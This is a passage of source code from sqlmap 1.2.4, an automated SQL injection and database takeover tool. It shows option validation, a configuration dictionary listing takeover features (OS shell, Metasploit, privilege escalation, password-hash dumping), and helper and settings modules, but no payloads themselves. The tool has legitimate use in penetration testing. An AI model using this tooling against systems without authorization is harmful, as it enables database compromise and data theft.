option '-c'" raise SqlmapSyntaxException(errMsg) if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.nullConnection: errMsg = "option '--string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.notString and conf.nullConnection: errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.notString and conf.nullConnection: errMsg = "option '--tor' is incompatible with switch '--os-pwn'" raise SqlmapSyntaxException(errMsg) if conf.noCast and conf.hexConvert: errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" raise SqlmapSyntaxException(errMsg) if conf.regexp and conf.nullConnection: errMsg = "option '--regexp' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.regexp: try: re.compile(conf.regexp) except Exception, ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.crawlExclude: try: re.compile(conf.crawlExclude) except Exception, ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) if conf.predictOutput and (conf.threads > 1 or conf.optimize): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" raise SqlmapSyntaxException(errMsg) if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude and not conf.crawlDepth: errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" raise SqlmapSyntaxException(errMsg) if conf.safePost and not conf.safeUrl: errMsg = "option '--safe-post' requires usage of option '--safe-url'" raise SqlmapSyntaxException(errMsg) if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)): errMsg = "option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'" raise SqlmapSyntaxException(errMsg) if conf.safeReqFile and any((conf.safeUrl, conf.safePost)): errMsg = "option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'" raise SqlmapSyntaxException(errMsg) if conf.csrfUrl and not conf.csrfToken: errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.proxy: errMsg = "option '-d' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.tor: errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) if not conf.tech: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.ignoreProxy: errMsg = "switch '--tor' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.proxy: errMsg = "switch '--tor' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.proxyFile: errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): errMsg = "value for option '--tor-port' must be in range [0, 65535]" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) raise SqlmapSyntaxException(errMsg) if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: errMsg = "option '--skip' is incompatible with option '-p'" raise SqlmapSyntaxException(errMsg) if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.ignoreProxy: errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" raise SqlmapSyntaxException(errMsg) if isinstance(conf.uCols, basestring): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" raise SqlmapSyntaxException(errMsg) if conf.dbmsCred and ':' not in conf.dbmsCred: errMsg = "value for option '--dbms-cred' must be in " errMsg += "format : (e.g. \"root:pass\")" raise SqlmapSyntaxException(errMsg) if conf.encoding: _ = checkCharEncoding(conf.encoding, False) if _ is None: errMsg = "unknown encoding '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "supported encodings" raise SqlmapSyntaxException(errMsg) else: conf.encoding = _ if conf.loadCookies: if not os.path.exists(conf.loadCookies): errMsg = "cookies file '%s' does not exist" % conf.loadCookies raise SqlmapFilePathException(errMsg) def _resolveCrossReferences(): lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage lib.request.connect.setHTTPHandlers = _setHTTPHandlers lib.utils.search.setHTTPHandlers = _setHTTPHandlers lib.controller.checks.setVerbosity = setVerbosity lib.controller.checks.setWafFunctions = _setWafFunctions def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setConfAttributes() _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ _useWizardInterface() setVerbosity() _saveConfig() _setRequestFromFile() _cleanupOptions() _cleanupEnvironment() _dirtyPatches() _purgeOutput() _checkDependencies() _createTemporaryDirectory() _basicOptionValidation() _setProxyList() _setTorProxySettings() _setDNSServer() _adjustLoggingFormatter() _setMultipleTargets() _setTamperingFunctions() _setWafFunctions() _setTrafficOutputFP() _setupHTTPCollector() _resolveCrossReferences() _checkWebSocket() parseTargetUrl() parseTargetDirect() if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() _setHTTPReferer() _setHTTPHost() _setHTTPUserAgent() _setHTTPAuthentication() _setHTTPHandlers() _setDNSCache() _setSocketPreConnect() _setSafeVisit() _doSearch() _setBulkMultipleTargets() _setSitemapTargets() _checkTor() _setCrawler() _findPageForms() _setDBMS() _setTechnique() _setThreads() _setOS() _setWriteFile() _setMetasploit() _setDBMSAuthentication() loadBoundaries() loadPayloads() _setPrefixSuffix() update() _loadQueries() sqlmap-1.2.4/lib/core/optiondict.py000066400000000000000000000152671326012263700172540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ optDict = { # Family: {"parameter name": "parameter datatype"}, # --OR-- # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, "Target": { "direct": "string", "url": "string", "logFile": "string", "bulkFile": "string", "requestFile": "string", "sessionFile": "string", "googleDork": "string", "configFile": "string", "sitemapUrl": "string", }, "Request": { "method": "string", "data": "string", "paramDel": "string", "cookie": "string", "cookieDel": "string", "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", "randomAgent": "boolean", "host": "string", "referer": "string", "headers": "string", "authType": "string", "authCred": "string", "authFile": "string", "ignoreCode": "integer", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", "ignoreTimeouts": "boolean", "proxy": "string", "proxyCred": "string", "proxyFile": "string", "tor": "boolean", "torPort": "integer", "torType": "string", "checkTor": "boolean", "delay": "float", "timeout": "float", "retries": "integer", "rParam": "string", "safeUrl": "string", "safePost": "string", "safeReqFile": "string", "safeFreq": "integer", "skipUrlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", "forceSSL": "boolean", "hpp": "boolean", "evalCode": "string", }, "Optimization": { "optimize": "boolean", "predictOutput": "boolean", "keepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, "Injection": { "testParameter": "string", "skip": "string", "skipStatic": "boolean", "paramExclude": "string", "dbms": "string", "dbmsCred": "string", "os": "string", "invalidBignum": "boolean", "invalidLogical": "boolean", "invalidString": "boolean", "noCast": "boolean", "noEscape": "boolean", "prefix": "string", "suffix": "string", "tamper": "string", }, "Detection": { "level": "integer", "risk": "integer", "string": "string", "notString": "string", "regexp": "string", "code": "integer", "textOnly": "boolean", "titles": "boolean", }, "Techniques": { "tech": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", "uFrom": "string", "dnsDomain": "string", "secondOrder": "string", }, "Fingerprint": { "extensiveFp": "boolean", }, "Enumeration": { "getAll": "boolean", "getBanner": ("boolean", "Banners"), "getCurrentUser": ("boolean", "Users"), "getCurrentDb": ("boolean", "Databases"), "getHostname": "boolean", "isDba": "boolean", "getUsers": ("boolean", "Users"), "getPasswordHashes": ("boolean", "Passwords"), "getPrivileges": ("boolean", "Privileges"), "getRoles": ("boolean", "Roles"), "getDbs": ("boolean", "Databases"), "getTables": ("boolean", "Tables"), "getColumns": ("boolean", "Columns"), "getSchema": "boolean", "getCount": "boolean", "dumpTable": "boolean", "dumpAll": "boolean", "search": "boolean", "getComments": "boolean", "db": "string", "tbl": "string", "col": "string", "exclude": "string", "pivotColumn": "string", "dumpWhere": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", "limitStop": "integer", "firstChar": "integer", "lastChar": "integer", "query": "string", "sqlShell": "boolean", "sqlFile": "string", }, "Brute": { "commonTables": "boolean", "commonColumns": "boolean", }, "User-defined function": { "udfInject": "boolean", "shLib": "string", }, "File system": { "rFile": "string", "wFile": "string", "dFile": "string", }, "Takeover": { "osCmd": "string", "osShell": "boolean", "osPwn": "boolean", "osSmb": "boolean", "osBof": "boolean", "privEsc": "boolean", "msfPath": "string", "tmpPath": "string", }, "Windows": { "regRead": "boolean", "regAdd": "boolean", "regDel": "boolean", "regKey": "string", "regVal": "string", "regData": "string", "regType": "string", }, "General": { # "xmlFile": "string", "trafficFile": "string", "batch": "boolean", "binaryFields": "string", "charset": "string", "checkInternet": "boolean", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", "dumpFormat": "string", "encoding": "string", "eta": "boolean", "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", "harFile": "string", "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", "saveConfig": "string", "scope": "string", "testFilter": "string", "testSkip": "string", "updateAll": "boolean", }, "Miscellaneous": { "alert": "string", "answers": "string", "beep": "boolean", "cleanup": "boolean", "dependencies": "boolean", "disableColoring": "boolean", "googlePage": "integer", "identifyWaf": "boolean", "mobile": "boolean", "offline": "boolean", "purgeOutput": "boolean", "skipWaf": "boolean", "smart": "boolean", "tmpDir": "string", "webRoot": "string", "wizard": "boolean", "verbose": "integer", }, "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", "profile": "boolean", "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", "liveTest": "boolean", "stopFail": "boolean", "runCase": "string", }, "API": { "api": "boolean", "taskid": "string", "database": "string", } } sqlmap-1.2.4/lib/core/profiling.py000066400000000000000000000061521326012263700170620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs import os import cProfile from lib.core.common import getUnicode from lib.core.data import logger from lib.core.data import paths from lib.core.settings import UNICODE_ENCODING def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ try: __import__("gobject") from thirdparty.gprof2dot import gprof2dot from thirdparty.xdot import xdot import gtk import pydot except ImportError, e: errMsg = "profiling requires third-party libraries ('%s') " % getUnicode(e, UNICODE_ENCODING) errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" logger.error(errMsg) return if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") if dotOutputFile is None: dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot") if imageOutputFile is None: imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png") if os.path.exists(profileOutputFile): os.remove(profileOutputFile) if os.path.exists(dotOutputFile): os.remove(dotOutputFile) if os.path.exists(imageOutputFile): os.remove(imageOutputFile) infoMsg = "profiling the execution into file %s" % profileOutputFile logger.info(infoMsg) # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile logger.info(infoMsg) # Create dot file by using extra/gprof2dot/gprof2dot.py # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING) parser = gprof2dot.PstatsParser(profileOutputFile) profile = parser.parse() profile.prune(0.5 / 100.0, 0.1 / 100.0) dot = gprof2dot.DotWriter(dotFilePointer) dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP) dotFilePointer.close() infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile logger.info(infoMsg) # Create graph image (png) by using pydot (python-pydot) # http://code.google.com/p/pydot/ pydotGraph = pydot.graph_from_dot_file(dotOutputFile) # Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ if isinstance(pydotGraph, list): pydotGraph = pydotGraph[0] pydotGraph.write_png(imageOutputFile) infoMsg = "displaying interactive graph with xdot library" logger.info(infoMsg) # Display interactive Graphviz dot file by using extra/xdot/xdot.py # http://code.google.com/p/jrfonseca/wiki/XDot win = xdot.DotWindow() win.connect('destroy', gtk.main_quit) win.set_filter("dot") win.open_file(dotOutputFile) gtk.main() sqlmap-1.2.4/lib/core/readlineng.py000066400000000000000000000034661326012263700172060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM _readline = None try: from readline import * import readline as _readline except ImportError: try: from pyreadline import * import pyreadline as _readline except ImportError: pass if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() except AttributeError: debugMsg = "Failed GetOutputFile when using platform's " debugMsg += "readline library" logger.debug(debugMsg) _readline = None # Test to see if libedit is being used instead of GNU readline. # Thanks to Boyd Waters for this patch. uses_libedit = False if PLATFORM == 'mac' and _readline: import commands (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) if status == 0 and len(result) > 0: # We are bound to libedit - new in Leopard _readline.parse_and_bind("bind ^I rl_complete") debugMsg = "Leopard libedit detected when using platform's " debugMsg += "readline library" logger.debug(debugMsg) uses_libedit = True # the clear_history() function was only introduced in Python 2.4 and is # actually optional in the readline API, so we must explicitly check for its # existence. Some known platforms actually don't have it. This thread: # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: try: _readline.clear_history() except AttributeError: def clear_history(): pass _readline.clear_history = clear_history sqlmap-1.2.4/lib/core/replication.py000066400000000000000000000113321326012263700173760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import sqlite3 from extra.safe2bin.safe2bin import safechardecode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING class Replication(object): """ This class holds all methods/classes used for database replication purposes. """ def __init__(self, dbpath): try: self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() except sqlite3.OperationalError, ex: errMsg = "error occurred while opening a replication " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) class DataType: """ Using this class we define auxiliary objects used for representing sqlite data types. """ def __init__(self, name): self.name = name def __str__(self): return self.name def __repr__(self): return "" % self class Table: """ This class defines methods used to manipulate table objects. """ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.parent = parent self.name = unsafeSQLIdentificatorNaming(name) self.columns = columns if create: try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) else: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) except Exception, ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) def insert(self, values): """ This function is used for inserting row(s) into current table. """ if len(values) == len(self.columns): self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) def execute(self, sql, parameters=[]): try: self.parent.cursor.execute(sql, parameters) except sqlite3.OperationalError, ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) def beginTransaction(self): """ Great speed improvement can be gained by using explicit transactions around multiple inserts. Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows """ self.execute('BEGIN TRANSACTION') def endTransaction(self): self.execute('END TRANSACTION') def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ _ = 'SELECT * FROM %s' % self.name if condition: _ += 'WHERE %s' % condition return self.execute(_) def createTable(self, tblname, columns=None, typeless=False): """ This function creates Table instance with current connection settings. """ return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): self.cursor.close() self.connection.close() # sqlite data types NULL = DataType('NULL') INTEGER = DataType('INTEGER') REAL = DataType('REAL') TEXT = DataType('TEXT') BLOB = DataType('BLOB') sqlmap-1.2.4/lib/core/revision.py000066400000000000000000000030031326012263700167170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import subprocess def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" """ retVal = None filePath = None _ = os.path.dirname(__file__) while True: filePath = os.path.join(_, ".git", "HEAD") if os.path.exists(filePath): break else: filePath = None if _ == os.path.dirname(_): break else: _ = os.path.dirname(_) while True: if filePath and os.path.isfile(filePath): with open(filePath, "r") as f: content = f.read() filePath = None if content.startswith("ref: "): filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() else: match = re.match(r"(?i)[0-9a-f]{32}", content) retVal = match.group(0) if match else None break else: break if not retVal: process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") retVal = match.group(0) if match else None return retVal[:7] if retVal else None sqlmap-1.2.4/lib/core/session.py000066400000000000000000000037201326012263700165520ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.settings import SUPPORTED_DBMS def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ hashDBWrite(HASHDB_KEYS.DBMS, dbms) _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: dbms = _.group(1) Backend.setDbms(dbms) if kb.resolutionDbms: hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms) logger.info("the back-end DBMS is %s" % Backend.getDbms()) def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" if not kb.bannerFp: return if "type" in kb.bannerFp: Backend.setOs(Format.humanize(kb.bannerFp["type"])) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): kb.osSP = 0 if Backend.getOs() and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) hashDBWrite(HASHDB_KEYS.OS, Backend.getOs()) sqlmap-1.2.4/lib/core/settings.py000066400000000000000000001063661326012263700167410ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import random import re import subprocess import string import sys import types from lib.core.datatype import AttribDict from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS # sqlmap version (...) VERSION = "1.2.4.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner BANNER = """\033[01;33m\ ___ __H__ ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| \033[0m\033[4;37m%s\033[0m\n """ % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS/IDS protected targets IDS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS/IDS protected targets IDS_WAF_CHECK_TIMEOUT = 10 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__" SAFE_VARIABLE_MARKER = "__SAFE__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" # Regular expression used for extraction of table names (useful for (e.g.) MsAccess) SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"(?P(command|permission|access)\s*(was|is)?\s*denied)" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection" # Maximum consecutive connection errors before asking the user if he wants to continue MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) PRECONNECT_CANDIDATE_TIMEOUT = 10 # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r'"u":"([^"]+)' # Regular expression used for extracting results from Bing search BING_REGEX = r'

= 7) TIME_STDEV_COEFF = 7 # Minimum response time that can be even considered as delayed (not a complete requirement) MIN_VALID_DELAYED_RESPONSE = 0.5 # Standard deviation after which a warning message should be displayed about connection lags WARN_TIME_STDEV = 0.5 # Minimum length of usable union injected response (quick defense against substr fields) UNION_MIN_RESPONSE_CHARS = 10 # Coefficient used for a union-based number of columns checking (must be >= 7) UNION_STDEV_COEFF = 7 # Length of queue for candidates for time delay adjustment TIME_DELAY_CANDIDATES = 3 # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "*/*" # Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 # Number of seconds to wait for thread finalization at program end THREAD_FINALIZATION_TIMEOUT = 1 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" # Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 # After these number of blanks at the end inference should stop (just in case) INFERENCE_BLANK_BREAK = 10 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' # Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" # Character used for operation "greater or equal" in inference INFERENCE_GREATER_EQUALS_CHAR = ">=" # Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" # Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" # String used for representation of unknown DBMS UNKNOWN_DBMS = "Unknown" # String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" # Dynamicity boundary length used in dynamicity removal engine DYNAMICITY_BOUNDARY_LENGTH = 20 # Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING) except LookupError: DEFAULT_PAGE_ENCODING = "utf8" # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" # System variables IS_WIN = subprocess.mswindows # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] # DBMS system databases 